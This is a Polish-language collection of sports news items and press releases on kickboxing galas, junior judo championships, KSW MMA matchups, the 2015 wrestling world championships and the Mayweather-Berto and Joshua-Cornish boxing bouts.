Miejsca, uczestnicy, patronaty, znakomici goście, współpraca z partnerami i sponsorami oraz mediami to czynniki, które gwarantują że każda edycja gali „Fighters Night” jest zawsze emocjonującym wydarzeniem sportowym pozostawiającym niezapomniane wrażenia w pamięci zarówno zawodników jak i widzów. Atrakcją wieczoru na galach są walki o pas Międzynarodowego Mistrza Polski oraz o pas Zawodowego Mistrza Polski. W poprzednich edycjach gali pas Międzynarodowego Mistrza Polski w walce z Dimitarem Ilievem z Bułgarii zdobył Dawid Kasperski, a Wojciech Kosowski w walce z Mücahitem Kulakiem z Turcji. Na najbliższej gali również nie zabraknie emocji związanych z walkami o te jakże cenne i prestiżowe dla zawodników trofea. Tym razem o tytuł i pas Międzynarodowego Mistrza Polski będzie walczył zawodnik Rzeszowskiego Klubu Sportów Walki – Arkadiusz Kaszuba,  zaś o tytuł i pas Zawodowego Mistrza Polski walczyć będą Kamil Ruta i jego przeciwnik Mateusz Rycerski. 

Walkom będą towarzyszyć pokazy innych dyscyplin sportów walki oraz niezwykle widowiskowe pokazy artystyczne. Gale „Fighters Night” to również wyjątkowa możliwość  nawiązania nowych relacji partnersko biznesowych podczas wieczornego VIP PARTY organizowanego specjalnie dla wyjątkowych gości, sponsorów, partnerów, celebrytów oraz mediów i zawodników. Wnętrza ekskluzywnych hoteli na terenie całej Polski, w których odbywają się gale nadają wydarzeniom dużego prestiżu. Wybór miejsc nie jest przypadkowy, organizatorzy wybierają je z myślą przede wszystkim o komforcie widzów. Poziom imprez wzrasta z edycji na edycję dzięki doświadczeniu, które organizatorzy zdobywają za każdym razem gdy rusza machina przygotowań. Dzięki prężnie działającemu zespołowi organizacyjnemu udało się już zaplanować  kolejne  gale. Po gali w dniu 7 listopada w Rzeszowie, planowane są w przyszłym roku kolejne : 20 lutego w  Kielcach, 18 czerwca w Warszawie i 17 września we Wrocławiu. 

Organizatorzy poprzez dostarczanie emocjonujących wrażeń sportowych promują kickboxing, ukazują piękno walki w formule K-1 i  chcą aby zawodnicy stali się bardziej rozpoznawalni. A wszystko to po to, aby dyscyplina jak najszybciej znalazła się wśród dyscyplin olimpijskich.

Bilety już w sprzedaży, kontakt pod nr telefonu 609 123 363. ZAPRASZAMY!

Informacja prasowa

Europa powalczy w Oberwart

Kolejna impreza w świecie judo zbliża się wielkimi krokami. Teraz na arenę wkroczą juniorzy, którzy będą rywalizować w mistrzostwach Europy w Oberwart.

Do Austrii uda się dwudziestoosobowa kadra Polski. Najlepsi judocy w Europie rozpoczną rywalizację już w piątek.

Ruszają do boju

O medale powalczy ponad czterystu judoków i judoczek ze Starego Kontynentu. Rywalizacja juniorska zawsze pełna jest zapału, ambicji i uporu. Młodzi judocy chcą na każdym kroku doskonalić się oraz osiągać sukcesy. Często jest tak, że sukces rodzi się w bólach. Przyzwyczailiśmy się, iż w większości przypadków mamy do czynienia z przewagą liczby startujących wśród mężczyzn. Tym razem będzie podobnie. W Oberwart na tatami zaprezentuje się dwustu czterdziestu sześciu judoków i sto sześćdziesiąt cztery judoczki.

Kto będzie reprezentował Polskę? W Oberwart do rywalizacji staną: Żaneta Rerutko (52kg), Julia Kowalczyk (57kg), Martyna Dobrowolska (57kg), Anna Isenko (63kg), Sandra Lickun (70kg), Urszula Hofman (70kg), Kamila Pasternak (78kg), Beata Pacut (78kg), Anita Formela (+78kg), Anna Załęczna (+78kg), Patryk Wawrzyczek (66kg), Tomasz Czerniawski (73kg), Mateusz Garbacz (73kg), Aleksander Wrona (81kg), Sebastian Marcinkiewicz (81kg), Piotr Kuczera (90kg), Jakub Ozimek (90kg), Kacper Szczurkowskia (100kg), Rafał Kozłowski (100kg) oraz Jan Jackiewicz (+100kg).

Z matematycznego punktu widzenia mamy dwadzieścia szans medalowych. Wiadomo, że każdy będzie chciał wypaść jak najlepiej, ale nie wszyscy będą w stanie stanąć na podium.

Jak było rok temu?

Zachowawczość, ostrożność – to słowo klucz. Nie chodzi o brak wiary w umiejętności polskich juniorów, ale o spojrzenie w przeszłość. W naszej kadrze są zawodnicy, którzy śmiało mogą walczyć o podium, ale wiele zależy od dyspozycji dnia oraz drabinki.

Na poprzednim czempionacie Polska wywalczyła dwa medale. Mistrzynią Europy w kategorii 57kg została Anna Borowska, która w Oberwart nie wystartuje. W tym roku zawodniczka Polonii Rybnik pojechała na mistrzostwa świata do Astany, gdzie z reprezentacją kobiet wywalczyła srebrny medal. Wracając do Bukaresztu, Beata Pacut sięgnęła w Rumunii po tytuł wicemistrzyni Europy juniorek. W Austrii będzie miała okazję poprawić ten wynik. Pacut ma za sobą dobry okres. W 2014 roku w Fort Lauderdale wywalczyła brązowy medal mistrzostw świata juniorek.

Naszymi nadziejami medalowymi podczas zbliżających się mistrzostw Europy z pewnością będą Anna Załęczna i Piotr Kuczera, którzy w poprzednim czempionacie byli o krok od podium – uplasowali się na piątych miejscach. Judoka walczący w kategorii 90kg piąty był także na ubiegłorocznych mistrzostwach świata. W tym roku zwyciężył w Pucharze Świata Juniorów i Juniorek we Wrocławiu.

Czy Polacy poprawią ubiegłoroczny dorobek? O tym przekonamy się już niebawem. W Oberwart wystartuje ponad czterystu zawodników, a zaledwie kilkunastu będzie cieszyło się z medali. W tym gronie powinni znaleźć się również Polacy.

KM

DSF Martial Arts Contest we Wrocławiu

Radek Paczuski wystąpi w październiku na gali DSF Martial Arts Contest we Wrocławiu

Już 24 października w Hali Orbita we Wrocławiu zobaczymy w akcji wojownika teamu DSF – Radka Paczuskiego. Podczas gali DSF Martial Arts Contest 1. Muaythai – Polska vs Tajlandia, aktualny Mistrz Polski zaprezentuje się w nieznanej, ale niezwykle atrakcyjnej formule muayboran. To tradycyjna, wręcz rytualna odmiana znanego wszystkim muaythai. 

Fachowcy idą dalej, twierdząc, że muayboran w odróżnieniu od muaythai jest autentyczną sztuką walki, a nie sportem.

Zasadniczą różnicą jest fakt użycia w walce tradycyjnych owijaczy rąk, a nie rękawic., co w założeniu ma potęgować obrażenia zadawane w walce a nie chronić zawodników. Muayboran pozostaje piękną wysoce zrytualizowaną sztuką walki,  ekstremalnie skuteczną zarówno na ringu jak i w sytuacji starcia “ulicznego”. Wierzymy, że walka w tak atrakcyjnej wizualnie formule przyciągnie do hali Orbit rzesze fanów jego talentu.

Sam Radek, w ciszy treningowej sali przygotowuje się do tej rywalizacji, a nam nie pozostaje nic innego jak trzymanie kciuków.

O szczegółach konfrontacji napiszemy już niebawem. Bilety na galę do dostania na www.ticketpro.pl

Informacja prasowa

Decydująca faza walki

Udział w Igrzyskach Olimpijskich w Rio de Janeiro dla wielu judoków jest spełnieniem marzeń. Nasi zawodnicy muszą walczyć o punkty w wyścigu kwalifikacyjnym.

Mistrzostwa świata w Astanie nie potoczyły się po myśli biało-czerwonych. Judocy muszą nadal walczyć o możliwość startu w Rio.

Ważne są punkty

Uproszczeniem będzie stwierdzenie, że wszystko jest już na ostatniej prostej, ale nadużyciem już nie. Czas ucieka. W każdym kolejnym starcie trzeba z siebie dawać jak najwięcej i zdobywać punkty, które będą budować pozycję każdego z zawodników w klasyfikacji olimpijskiej.

Po mistrzostwach świata w Astanie judocy mają chwilę wytchnienia, ale jest to tylko i wyłącznie odpoczynek od zawodów. Kolejne starty już w październiku. O punkty będzie można walczyć podczas zawodów Grand Prix w Uzbekistanie oraz Grand Slam we Francji i Zjednoczonych Emiratach Arabskich. W październiku znacząco będzie można poprawić dorobek punktowy. Największą wagę mają zawody Grand Slam, nieco niżej stoją turnieje Grand Prix, z punktu widzenia możliwości uzyskania profitów w kontekście Rio najsłabiej gratyfikowane są starty w Pucharach Świata.

Ważnym startem będą również przyszłoroczne mistrzostwa Europy, które odbędą się w Kazaniu. W grę wejdzie walka o Igrzyska Olimpijskie oraz rywalizacja o tytuły. Zatem okazji do poprawienia swojego dorobku jest jeszcze sporo, ale czas ucieka nieubłaganie. W przypadku polskich judoków konieczne jest regularne zdobywanie punktów.

Pewna czwórka

Kto wystartuje w Rio de Janeiro? Warto przypomnieć, że awans do Igrzysk Olimpijskich wywalczy czternaście najlepszych zawodniczek i dwudziestu dwóch czołowych judoków z każdej kategorii wagowej. Trzeba pamiętać o jeszcze jednej ważnej kwestii. W każdej kategorii wagowej może wystartować tylko jeden judoka z danego kraju.

Obecnie pewni startu w Rio de Janeiro mogą być Daria Pogorzelec (78 kg), Katarzyna Kłys (70 kg), Agata Ozdoba (63 kg) i Maciej Sarnacki (+100 kg). Wspomniana czwórka na przestrzeni dwóch sezonów notowała dobre starty. Pogorzelec zaprezentowała się najlepiej ze wszystkich reprezentantów Polski podczas mistrzostw świata w Astanie, gdzie wywalczyła piąte miejsce. Z kolei rok temu Kłys sięgnęła po brązowy medal światowego czempionatu. Agata Ozdoba w 2014 roku sięgnęła po brązowy medal mistrzostw Europy. Z kolei Maciej Sarnacki jest najlepszym obecnie polskim judoką i regularnie zdobywa miejsca na podium w zawodach na arenie międzynarodowej.

Kto jeszcze? O kwalifikację może powalczyć Katarzyna Furmanek w kategorii +78kg, która w tym roku w Pucharze Świata w Pradze wywalczyła złoty medal. Nadal naszą nadzieją pozostaje Arleta Podolak w 57kg. Duże możliwości mają Agata Perenc i Karolina Pieńkowska w 52kg, ale obie dochodzą do zdrowia po odniesionych kontuzjach. Damian Szwarnowiecki w kategorii 73kg w tym sezonie również zaliczył kilka przyzwoitych występów. Nadzieje na Rio ma też Łukasz Błach w 81kg.

KM

Bedorf zmierzy się z Kitą

31 października odbędzie się gala KSW32: Road to Wembley, na której zaprezentują się Mariusz Pudzianowski, Borys Mańkowski i Marcin Różalski. Niespełna miesiąc później odbędzie się kolejne wydarzenie.

Na KSW33 w Krakowie dojdzie do walki, na którą wszyscy czekali. O pas mistrzowski KSW w wadze średniej będą rywalizować Michał Materla i Mamed Kahlidov. Organizator ujawnił kolejne pojedynki, do których dojdzie w Krakowie. Ciekawie zapowiada się starcie dwóch czołowych fighterów wagi ciężkiej w Polsce – Karola Bedorfa oraz Michała Kity.

Druga obrona

Popularny „Coco” jest mistrzem KSW w wadze ciężkiej. Po tytuł sięgnął w 2013 roku, kiedy to uporał się z Pawłem Nastulą. Ostatni występ Bedorfa podczas KSW 31 pokazał, że mistrz jest „do ugryzienia”. Wiekowy i nieco ociężały Peter Graham napędził strachu fanom „Coco”. Bedorf wygrał decyzją sędziów, ale panowało przekonanie, że Australijczyk nie sprawi mistrzowi problemów. Rzeczywistość okazała się nieco inna. Pojedynek nie był widowiskowy, dominowała rywalizacja w parterze. Bedorf wygrał, gdyż zadał większą ilość ciosów i okazał się bardziej wytrzymały. Kondycja odegrała jedną z głównych ról w tym starciu. Wcześniej Bedorf odprawił bez większych problemów Rollesa Gracie, pokonując go już w pierwszej rundzie podczas gali KSW 28. „Coco” nie przegrał od sześciu pojedynków.

Michał Kita w Krakowie zadebiutuje w KSW. 35-latek z Zabrza to doświadczony fighter, który budował swoją pozycję w Europie. Kita jest uważany za jednego z czołowych polskich zawodników wagi ciężkiej. Ostatnio walczył w marcu 2014 roku, kiedy to podczas gali PRO MMA Challenge 1 pokonał Mike’a Wessela. Zatem Kita ma ponad półtoraroczny rozbrat z klatką. W swojej karierze 35-letni zawodnik rywalizował z mocnymi fighterami, którzy mieli okazję prezentować się podczas gal UFC czy M-1. Swego czasu ofiarą Kity padł Alexey Oleinik.

Co ciekawe, popularny „Masakra” w swojej karierze rywalizował tylko z jednym rodakiem. W czerwcu 2010 roku spotkał się z Damianem Grabowskim. Kita przegrał tę rywalizację po trzech minutach.

Kita przez długi czas opierał się zakusom KSW, jednak w końcu zdecydował się na walkę dla organizacji. Pojedynki z jego udziałem są niezwykle ciekawe. Tylko dwie walki z Kitą w roli głównej rozstrzygały się przez decyzje sędziów.

Akcent żeński

Na KSW 33 nie zabraknie pań. Drugą walkę w KSW stoczy Kamila Porczyk, która wraca do rywalizacji po kontuzji. Ostatni pojedynek byłej mistrzyni świata fitness miał miejsce w marcu 2014 roku. Do tej pory Porczyk w MMA stoczyła dwa pojedynki i jak na razie może być z siebie zadowolona.

Jej rywalką będzie 23-letnia Katarzyna Lubońska, która w marcu podpisała kontrakt z KSW. Będzie więc to jej debiut, ale zapewne nie ostatni występ. Umowa przewiduje kolejne walki Lubońskiej w KSW.

KM

Krok w kierunku wielkiej walki?

Niemożliwe staje się możliwe. Tak można mówić po zakontraktowaniu walki Mamed Khalidov-Michał Materla. W Polsce ten pojedynek był wyczekiwany. Tak samo jak na całym świecie wszyscy liczą na starcie Cristiane Justino i Rondy Rousey.

Bez wątpienia to najlepsze zawodniczki mieszanych sztuk walki na świecie. O ich rywalizacji mówi się od dłuższego czasu, jednak na drodze do pojedynku pojawiają się przeszkody.

Cyborg” schodzi

Problem dotyczy wagi obu zawodniczek. Rousey jest o kilka kilogramów lżejsza od Justino. Teoretycznie Amerykanka i Brazylijka chcą się spotkać, aby dać odpowiedź na frapujące wszystkich pytanie, która z nich jest lepsza. Chęci są, ale brak porozumienia. Obie panie mają trudności w ustaleniu limitu wagowego walki.

Justino rozbija kolejne rywalki w organizacji Invicta, gdzie jest królową wagi piórkowej. Z kolei Rousey, brązowa medalista olimpijska z Pekinu w judo, weszła na szczyt w UFC. 28-latka dominuje w wadze koguciej i dosłownie miażdży kolejne rywalki. Dlatego cały świat chce zobaczyć to starcie, w którym dojdzie do spotkania Rousey i Justino, czyli szybkości, celności, bezwzględności, wysokich umiejętności w najlepszym wydaniu. Wszyscy chcą, panie też, ale pojedynek jest gdzieś w oddali.

Czy na pewno? Być może to Justino zrobi krok w kierunku pojedynku. Swego czasu UFC stawiało warunek, że zakontraktuje walkę, jeśli „Cyborg” będzie w stanie zejść do 135 funtów wagi. Zawodniczka z Brazylii podjęła działania, aby tak się stało. Nie z dnia na dzień, lecz stopniowo. Justino stoczy kolejną walkę w listopadzie, nazwisko jej rywalki nie jest jeszcze znane. Pojedynek ma odbyć się w limicie 140 funtów, czyli niższym niż zazwyczaj walczy „Cyborg”. Wydaje się, że to działania zmierzające do spełnienia wymagań, co pozwoli na doprowadzenie do podpisania kontraktu na starcie z Rousey.

Kolejnym krokiem będzie zapewne zejście do 135 funtów, a więc do wagi „Rowdy”. Zatem Justino stoczy jeszcze dwa pojedynki, aby osiągnąć wymagany limit. Zgodnie z matematyką można spodziewać się, że w przyszłym roku dojdzie do wielkiego pojedynku. Jeśli na drodze nie pojawią się inne przeszkody.

Rousey wytyka

Obie mają we krwi zapisane zwycięstwo. „Cyborg” w swojej karierze zaliczyła wpadkę. Na początku kariery przegrała z Ericą Paes. Justino ma również na sumieniu jeszcze jedno przewinienie. W grudniu 2011 roku rywalizowała z Hiroko Yamanaką. Walkę uznano za „no contest”. Dlaczego? Justino zaliczyła wpadkę na testach antydopingowych i to jest element, którego chętnie „czepia” się Rousey. Mówią, że wszystkie chwyty są dozwolone.

Królowa UFC 15 listopada stanie przed kolejnym wyzwaniem. Holly Holm jeszcze nigdy nie przegrała, ale Rousey wielu zawodniczkom zaaplikowała gorycz porażki. Czy tym razem będzie podobnie? Mistrzyni UFC musi być w formie, bo nie wiadomo, kiedy Justino przystąpi do ataku. Ich rywalizacja jest widoczna. Ostatnią walkę „Cyborg” rozstrzygnęła w czterdzieści pięć sekund, a „Rowdy” zakończyła pojedynek o jedenaście sekund szybciej.

KM

Brzeziński poza dziesiątką

Mistrzostwa świata w Las Vegas nie przyniosły radości polskim zapaśnikom. Żadnemu z Polaków nie udało się wywalczyć medalu ani kwalifikacji olimpijskiej do Rio de Janeiro.

Jako ostatni z biało-czerwonych startował Krystian Brzeziński w kategorii 74kg w stylu wolnym. Polak zajął jedenaste miejsce.

Gadżyjew najwyższej

Najlepszy wynik spośród naszych zawodników w stylu wolnym zanotował Magomiedmurad Gadżyjew w kategorii 65kg, który zajął siódmą pozycję. Zapaśnik AKS Białogard stoczył w Las Vegas cztery pojedynki – dwa wygrał, dwa przegrał. Na swojej drodze spotkał mistrza świata Franka Chemizo.

Również cztery pojedynki w Las Vegas stoczył Krystian Brzeziński. Polski zapaśnik nieudanie zainaugurował start w mistrzostwach świata. W pierwszym pojedynku musiał uznać wyższość Jordana Ernesta Burroughsa. Amerykanin to nie byle jaki zawodnik. Burroughs zdobył w Las Vegas tytuł mistrza świata. Przygoda Brzezińskiego nie zakończyła się na jednej walce, Polak trafił do repasaży. Tam poczynał sobie dobrze, ale tylko do czasu. Na początek rywalem Brzezińskiego był Oleg Zakharevych. Ukrainiec nie sprawił naszemu zapaśnikowi większych problemów, tak jak i Mikhaly Nagy w kolejnym pojedynku. Udział Brzezińskiego w mistrzostwach świata zakończył Alireza Mohammad Ghasemi, który zajął piątą pozycję.

Jak wcześniej informowaliśmy, nieudany start zaliczył Radosław Marcinkiewicz w kategorii 86kg. Polak stoczył w Las Vegas zaledwie jeden pojedynek. Z kolei Radosław Baran w 97kg udział w mistrzostwach zakończył na 1/8 finału, gdzie poległ w starciu z późniejszym złotym medalistą – Kyle’m Snyderem.

Trzeci tytuł Burroughsa

Amerykanin odzyskał tytuł mistrzowski po dwóch latach. Rok temu w Taszkiencie Burroughs wywalczył brązowy medal. W finale w Las Vegas rywalem 27-letniego Amerykanina był  Pürewdżawyn Önörbat. Trzeci złoty medal mistrzostw świata Burroughsa stał się faktem.

Po zdobyciu mistrzostwa Europy przyszedł czas na triumf w światowym czempionacie. Taką drogę obrał Wladimer Chinczegaszwili. Gruzin triumfował w kategorii 55kg. Na szczyt wszedł Magomiedrasuł Gazimagomiedow w 70kg. 24-letni zapaśnik z Dagestanu jest w tym roku w fenomenalnej formie. W Baku sięgnął po złoty medal w Igrzyskach Europejskich. Dobrą passę kontynuuje dalej i w Las Vegas wywalczył tytuł mistrza świata pokonując w finale Hasana Yazdaniego. Taha Akgul od kilku lat prezentuje wysoki poziom. Reprezentant Turcji niepodzielnie panuje w kategorii 125kg w Europie i na świecie. W Las Vegas powtórzył wynik osiągnięty przed rokiem. Nadal czeka na medal Igrzysk Olimpijskich.

Kto najlepszy?

Rzut oka na klasyfikację medalową. Kto zdobył wywalczył najwięcej miejsc na podium? Najlepsi okazali się Rosjanie, którzy wywalczyli aż czternaście medali i ten wynik pokazuje, kto rozdaje karty na świecie. Reprezentanci Sbornej zdobyli cztery złote medale, tyle samo na swoim koncie zapisali Amerykanie – drudzy w klasyfikacji medalowej. Trzecie miejsce dla Turcji, która wywalczyła sześć krążków. Za podium Japonia z trzema złotymi medalami. Ukraina zdobyła aż dziewięć krążków, ale tylko dwa pierwsze miejsca.

Przy Polsce okrągłe zero. Nasi reprezentanci nie powtórzyli dobrego wyniku z Igrzysk Europejskich w Baku, czy też zeszłorocznych osiągnięć z Taszkientu. Brak medali, brak kwalifikacji olimpijskich.

KM

Odchodzi jako niepokonany

Jak zapowiadał, tak zrobił. Floyd Mayweather Jr. stoczył ostatni pojedynek w karierze. Popularny „Money” schodzi z ringu jako niepokonany.

W ostatnim pojedynku w karierze Mayweather zmierzył się z Andre Berto. Podczas gali w Las Vegas Amerykanin odniósł czterdzieste dziewiąte zwycięstwo na zawodowym ringu.

Walka bez historii

Do samego końca zastanawiano się, czy Mayweather wejdzie na ring po raz ostatni. Z niecierpliwością czekano na ten pojedynek. Andre Berto zapowiadał, że będzie starał się pokonać faworyzowanego mistrza wagi średniej, ale na słowach tylko się skończyło.

Jak opisać ten pojedynek? Najkrócej: mistrz jest tylko jeden. Tak wypada to ująć. Mayweather robił swoje, kontrolował pojedynek i tak naprawdę nie przemęczał się w ringu. Wraz z upływem czasu narastała frustracja u Berto. Floyd w rytm piosenki „pojawiał się i znikał”. „Money” zaskakiwał swojego rywala szybkimi i celnymi ciosami, a następnie oddalał się. Mayweather kontrolował przebieg pojedynku w półdystansie, gdy nastała sposobność atakował Berto. Ten z kolei nie potrafił się odnaleźć. Widoczne było, że 32-latek z Florydy ma na tle „Moneya” ubogi repertuar. Ten pojedynek przerósł Berto.

W czwartej rundzie 32-latek ruszył na Mayweathera i zadawał chaotyczne ciosy. Zamknął czempiona pod liniami, ale niewiele wskórał. Mayweather królował w półdystansie i lewym prostym punktował swojego przeciwnika. Berto nie wytrzymywał. 32-latek dopuszczał się ciosów poniżej psa, co nie podobało się Floydowi. W siódmej rundzie Berto chciał zmusić „Moneya” do otwartej walki, jednak ta próba spełzła na niczym. Mayweather dalej robił swoje. Dodatkowo Berto miał problem z celnością zadawanych ciosów. W dziesiątej rundzie sędzia przerwał pojedynek, bo główni aktorzy zamiast walczyć wdali się w dyskusję. Do końca nic się nie zmieniło. Berto szukał walki i gonił Mayweathera, który kurczowo trzymał się swojej taktyki.

Pojedynek trwał dwanaście rund. Walka o charakterze historycznym rozstrzygnęła się na korzyść „Moneya”. Sędziowie byli zgodnie i punktowali zwycięstwo Mayweathera – 117-111, 118-110, 120-108.

To już jest koniec

Wszyscy liczyli na widowisko, a walka była po prostu marnej jakości. Mayweather wygrał po raz czterdziesty dziewiąty w karierze i żegna się z ringiem. Amerykanin chce działać jako promotor. – Berto zapewniał, że walczy o zwycięstwo. Nieważne, co mówił do mnie w czasie walki, gdyż było to kiepskie. On ma serce do rywalizacji i był to dobry pojedynek. Przez dziewiętnaście lat mogłem boksować dzięki kibicom, którzy są wspaniali. Mam już prawie czterdzieści lat. Dziękuję Alowi Haymonowi za pomoc w karierze. Finansowo jestem ustawiony. Teraz będę pomagał młodym bokserom jako promotor – mówił Mayweather.

Co mówił po walce Berto? – Wszedłem do ringu, aby walczyć. Mówiłem Floydowi w trakcie pojedynku, aby zaczął walczyć. Stworzyliśmy dobre widowisko. Z pewnością Mayweather to jeden z najlepszych bokserów w historii – powiedział 32-latek.

KM

Joshua zgodnie z tradycją

Od pewnego czasu Anthony Joshua określany jest jako nadzieja i przyszłość wagi ciężkiej. Brytyjczyk miał kolejną okazję, aby udowodnić, że tak właśnie jest.

Gary Cornish odgrażał się, ale nie był w stanie nic ugrać w rywalizacji z Joshuą. 25-latek z Watfordu posłał swojego rywala na deski.

Runda pierwsza

Mówią, że czas to pieniądz i trzeba go efektywnie wykorzystywać. Z drugiej strony mając na uwadze walkę bokserską kibice oczekują wielu emocji oraz wrażeń, a więc im pojedynek trwa dłużej, tym lepiej. Joshua nie stosuje się do tej zasady. Oglądając walkę Brytyjczyka od samego początku trzeba mieć oczy szeroko otwarte. Joshua stawia na szybkość i efektywność.

Nie inaczej było w rywalizacji z Cornishem. 28-latek z Inverness pozostawał niepokonany na zawodowym ringu, jednak po walce z Joshuą jest to już nieaktualne. Cornish rozpoczął rywalizację odważnie i liczył, że uda mu się zaskoczyć przeciwnika. Jakiś pomysł w tym był, jednak wykonanie było już gorsze. Cornish zapomniał o elemencie uwagi. W porywie szaleństwa ruszył na Joshuę, jednak 25-latek zachował spokój. Już po minucie rywalizacji skontrował przeciwnika, który padł na deski. Cornish nie zamierzał się poddać i wstał, aby ponownie podjąć rękawicę. Joshua „czuł już krew”, doskoczył szybko do przeciwnika. Cornish ponownie padł na deski. Sędzia zdecydował się przerwać pojedynek. Joshua odniósł czternaste zwycięstwo w karierze.

Brytyjczyk piąty pojedynek zakończył już w pierwszej rundzie. Joshua to król nokautów, który ani razu jeszcze nie spędził w ringu pełnego dystansu. Joshua robi coraz większe wrażenie na ekspertach. Imponuje szybkością, sprawnością oraz precyzją i siłą ciosów. Joshua to nadzieja wagi średniej i coraz częściej typowany jest jako przyszły mistrz świata wagi ciężkiej.

Co dalej?

Podczas gali w Londynie kolejną walkę stoczył Dillian Whyte. 27-latek w trzeciej rundzie pokonał Briana Minto. Pojawiają się głosy, że to właśnie Whyte będzie kolejnym rywalem Joshuy.

Obaj panowie mieliby się spotkać w pojedynku o tytuł najlepszego pięściarza na Wyspach Brytyjskich. Whyte w tym roku stoczył już cztery walki i wszystkie rozstrzygnął na swoją korzyść przed czasem. 27-latek to silny pięściarz, zawodową karierę rozpoczął rok wcześniej i do tej pory nie zaznał jednak smaku porażki. Od zwycięstwa z Kristianem Kirilovem kontynuuje znakomitą passę. Whyte wygrał kolejnych dwanaście walk przed czasem, a najdłużej spędził w ringu cztery rundy. W swojej karierze 27-latek rywalizował z polskim pięściarzem. Kamil Sokołowski w trzeciej rundzie został pozbawiony szans na zwycięstwo w starciu z urodzonym na Jamajce pięściarzem.

Joshua jeszcze raz zatem musi potwierdzić, że jest najlepszy na Wyspach. Whyte to wymagający rywal, ale 25-latek będzie faworytem. Najwięksi już na niego czekają.

KM

Osocka najwyżej

Daria Osocka w kategorii 75kg zajęła ósme miejsce podczas mistrzostw świata w zapasach w Las Vegas. To najlepszy rezultat spośród wszystkich reprezentantek Polski.

Żadnej z naszych zawodniczek nie udało się zatem uzyskać kwalifikacji na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. Do Brazylii pojedzie po sześć najlepszych zapaśniczek z każdej kategorii wagowej.

Poniżej oczekiwań

Oczekiwania względem naszych zawodniczek były spore zwłaszcza, że to doświadczone i utytułowane zapaśniczki. W ubiegłym roku Iwona Matkowska w kategorii 48kg w Taszkiencie została wicemistrzynią świata, a w 2015 została brązową medalistką Igrzysk Europejskich. Z kolei srebro w Baku wywalczyła Katarzyna Krawczyk w 55kg. Również drugie miejsce na Igrzyskach Europejskich zajęła Roksana Zasina w 53kg. Tych wyników w Las Vegas nie udało się powtórzyć.

W kategorii 58kg, w której startowała Zasina zaprezentowało się trzydzieści jeden zawodniczek. Polka pewnie wygrała pierwszą walkę z Thi Loan Pham. W 1/8 finału Zasina znalazła pogromczynię w osobie Bułgarki Mimi Nikolovej Hristovej. Monika Michalik w kategorii 63kg wygrała w Las Vegas jeden pojedynek. W kolejnej walce, tak jak i Zasina, odpadła z rywalizacji w starciu z zapaśniczką z Bułgarii – Taybe Mustafą Yusein. Michalik została sklasyfikowana na trzynastej pozycji. Darii Osockiej w kategorii 75kg udało się przełamać barierę 1/8 finału. Zapaśniczka Wrestler 24 Poznań na początek rozprawiła się z Eunju Hwang, a następnie wyeliminowała Svetlanę Saenko. Barierę nie do przejścia okazała się Adeline Maria Gray. Amerykanka w ćwierćfinale wygrała z Polką, a w ostatecznym rozrachunku została mistrzynią świata. Osocka poległa w walce repasażowej, czym przekreśliła swoje szanse na brązowy medal.

Anna Zwirydowska w kategorii 55kg została sklasyfikowana na jedenastym miejscu. Szybko z zawodami pożegnała się Krawczyk, która uplasowała się na trzydziestej ósmej lokacie. Matkowska była dwunasta, a Wieszczek-Kordus znalazła się na piętnastej pozycji.

Wolni zaczęli

Dobrą formą w tym roku imponował Magomiedmurad Gadżyjew w kategorii 65kg w stylu wolnym. Zawodnik AKS Białogard w Las Vegas był o krok od uzyskania kwalifikacji olimpijskiej Gadżyjew zajął siódme miejsce w mistrzostwach świata. Na początek rozprawił się z Mihaiłem Savą, ale w 1/16 uległ Włochowi Frankowi Chemizo, który wywalczył złoty medal. Gadżyjew miał szansę wybić się w repasażach i połowicznie ją wykorzystał. Pokonał Koreańczyka Ju-Song Kima, ale w kolejnej walce przegrał z Toghrulem Asgarovem.

Radosław Baran w kategorii 97kg został sklasyfikowany na dziewiętnastym miejscu. Zaczął rywalizację od wygranej, ale w 1/8 poniósł porażkę Kyle Snyderem. Następnie Polak przepadł w repasażach. Tylko jedną walkę w Las Vegas stoczył Radosław Marcinkiewicz w 86kg.

Młody mistrz

Kyle Snyder rozpoczął tworzenie pięknej historii. Na własnym terenie zdobył tytuł mistrza świata, to pierwszy tak duży sukces w karierze tego niespełna 20-letniego zawodnika, który po drodze pokonał Radosława Barana.

Tytuł zdobyty przed rokiem w Taszkiencie obronił w kategorii 86kg w stylu wolnym Abdułraszyd Sadułajew. 19-latek z Dagestanu ma już na swoim koncie mistrzostwo świata, mistrzostwo Europy i triumf w Igrzyskach Europejskich. Doświadczona Kaori Icho sięgnęła po trzecie z rzędu złoto w światowym czempionacie w kategorii 58kg. Po pięciu latach ponownie tytuł mistrzyni świata zdobyła Sorondzonboldyn Batceceg. Mogołka triumfowała w 2010 roku w Moskwie w kategorii 59kg, teraz w 63kg.

KM

Berto zarobi dzięki Floydowi

Mówisz Floyd Mayweather Jr, myślisz show i wielkie pieniądze. W zasadzie tak jest. Ten, kto dostąpi zaszczytu walki z Amerykaninem może liczyć na pokaźny zarobek.

32-letni Andre Berto po raz pierwszy w karierze będzie miał okazję stoczyć pojedynek o takim ciężarze gatunkowym. Akcje pięściarza z Florydy nie stoją wysoko.

Mayweather po raz ostatni

Od kilku miesięcy przewija się temat zakończenia kariery przez Floyda Mayewathera Jr. „Money” jest pięściarzem spełnionym, niezwyciężonym, mistrzem świata i wybitną postacią. W swoich wypowiedziach daje do zrozumienia, że nadszedł czas, aby zająć się innymi kwestiami. Czas dla rodziny i samego siebie również jest ważny. Mimo wszystko nie ma pewności, czy rywalizacja z Berto będzie ostatnim pojedynkiem „Moneya”. Wszystko będzie jasne za kilkanaście godzin.

Jaki to będzie pojedynek? Na pewno Berto zrobi wszystko, aby zaprezentować się jak najlepiej. Pięściarz rozpoczął zawodową karierę w 2004 roku i był niepokonany do kwietnia 2011 roku. Wtedy znalazł pogromcę w osobie Victora Ortiza. Od tego momentu jego rozwój przebiega w sposób chwiejny. W ciągu dwóch lat Berto stoczył cztery pojedynki, z których trzy przegrał. W 2014 roku wrócił na właściwe tory dzięki wygranej ze Steve’m Upsherem Chambersem, w kolejnym starciu posłał na deski Josesito Lopeza i dostał propozycję nie do odrzucenia. Floydowi się nie odmawia.

